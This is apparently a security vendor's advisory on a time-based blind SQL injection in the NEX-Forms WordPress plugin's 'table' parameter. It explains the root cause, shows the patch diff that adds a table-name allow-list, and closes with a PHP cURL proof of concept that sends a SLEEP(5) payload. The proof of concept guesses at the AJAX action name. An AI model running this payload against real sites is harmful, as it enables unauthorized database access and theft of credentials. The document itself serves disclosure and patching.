Atomic Edge analysis of CVE-2026-7046:
This vulnerability allows an authenticated administrator to perform time-based blind SQL injection through the ‘table’ parameter in the NEX-Forms plugin for WordPress, up to version 9.1.12. The issue resides in the dashboard class file and exposes the database to unauthorized query execution.
Root Cause: The vulnerability originates from improper handling of the ‘table’ parameter in /nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php around line 4219. The original code used $wpdb->prepare(‘%s’,esc_sql($_POST[‘table’])) which failed to prevent SQL injection. The esc_sql() function alone does not prevent injection when the value is used as a table name or in other contexts where quotes are stripped. Additionally, the code later stripped single quotes via str_replace(”’,”,$table), allowing an attacker to break out of the query context.
Exploitation: An attacker with administrator-level access sends a POST request to the WordPress AJAX endpoint (admin-ajax.php) with the ‘action’ parameter set to the vulnerable handler and the ‘table’ parameter containing a malicious SQL payload. The payload causes a time delay (e.g., SLEEP(5)) that confirms the injection. The attacker can then extract sensitive data character by character using conditional timing.
Patch Analysis: The patch introduces a whitelist of allowed table names, which includes the plugin’s core tables plus any user-created report tables retrieved from the database. It uses sanitize_key() to sanitize the input and then checks if the value exists in the $allowed_tables array using in_array() with strict comparison. If the table is not in the list, the script terminates with wp_die(‘Invalid table.’). This eliminates the SQL injection vector entirely.
Impact: Successful exploitation allows an authenticated administrator to extract sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. While the attack requires administrator privileges, it significantly lowers the barrier for lateral movement and privilege escalation within the application.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
@@ -4216,12 +4216,42 @@
else
$search_params = $this->search_params;
- if(isset($_POST['table']))
- $table = $wpdb->prepare('%s',esc_sql($_POST['table']));
- else
- $table = $wpdb->prepare('%s',$this->table);
+ $allowed_tables = array(
+ 'wap_nex_forms',
+ 'wap_nex_forms_entries',
+ 'wap_nex_forms_reports',
+ 'wap_nex_forms_email_templates',
+ 'wap_nex_forms_views',
+ 'wap_nex_forms_stats_interactions',
+ 'wap_nex_forms_files',
+ 'wap_nex_forms_add_ons'
+ );
+
+ $user_reports = $wpdb->get_results(
+ 'SELECT db_table FROM '.$wpdb->prefix.'wap_nex_forms_reports'
+ );
+
+ if (!empty($user_reports)) {
+
+ foreach ($user_reports as $report) {
+ $report_table = sanitize_key($report->db_table);
+ if (!empty($report_table)) {
+ $allowed_tables[] = str_replace($wpdb->prefix,'',$report_table);
+ }
+ }
+ }
+
+
- $table = str_replace(''','',$table);
+ $allowed_tables = array_unique($allowed_tables);
+
+ $table = isset($_POST['table'])
+ ? sanitize_key($_POST['table'])
+ : sanitize_key($this->table);
+
+ if (!in_array($table, $allowed_tables, true)) {
+ wp_die('Invalid table.');
+ }
$where_str = '';
$show_hide_field = (isset($_POST['showhide_fields'])) ? str_replace(''','',$wpdb->prepare('%s',esc_sql(sanitize_text_field($_POST['showhide_fields'])))) : '';
--- a/nex-forms-express-wp-form-builder/main.php
+++ b/nex-forms-express-wp-form-builder/main.php
@@ -4,7 +4,7 @@
Plugin URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
Description: Premium WordPress Plugin - Ultimate Drag and Drop WordPress Forms Builder.
Author: Basix
-Version: 9.1.12
+Version: 9.1.13
Author URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
License: GPL
Text Domain: nex-forms
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7046 - NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.12 - Authenticated (Administrator+) SQL Injection via 'table' Parameter
// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this
$admin_cookie = 'wordpress_logged_in_...'; // Administrator WordPress auth cookie
// The vulnerable action name (assumed based on typical patterns; may need adjustment)
$action = 'nex_forms_get_table_data'; // Replace with actual action from plugin
// SQL injection payload - time-based blind
$payload = "' AND SLEEP(5) AND '1'='1";
// Initialize cURL
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'table' => $payload
]));
// Execute and measure response time
$start = microtime(true);
$response = curl_exec($ch);
$duration = microtime(true) - $start;
curl_close($ch);
// Check if delay occurred (confirming SQL injection)
if ($duration >= 4.5) {
echo "[+] Vulnerability confirmed - SQL injection via 'table' parameter caused a delay of $duration seconds.n";
} else {
echo "[-] No delay detected. Vulnerability may not be present or action name is incorrect.n";
}
?>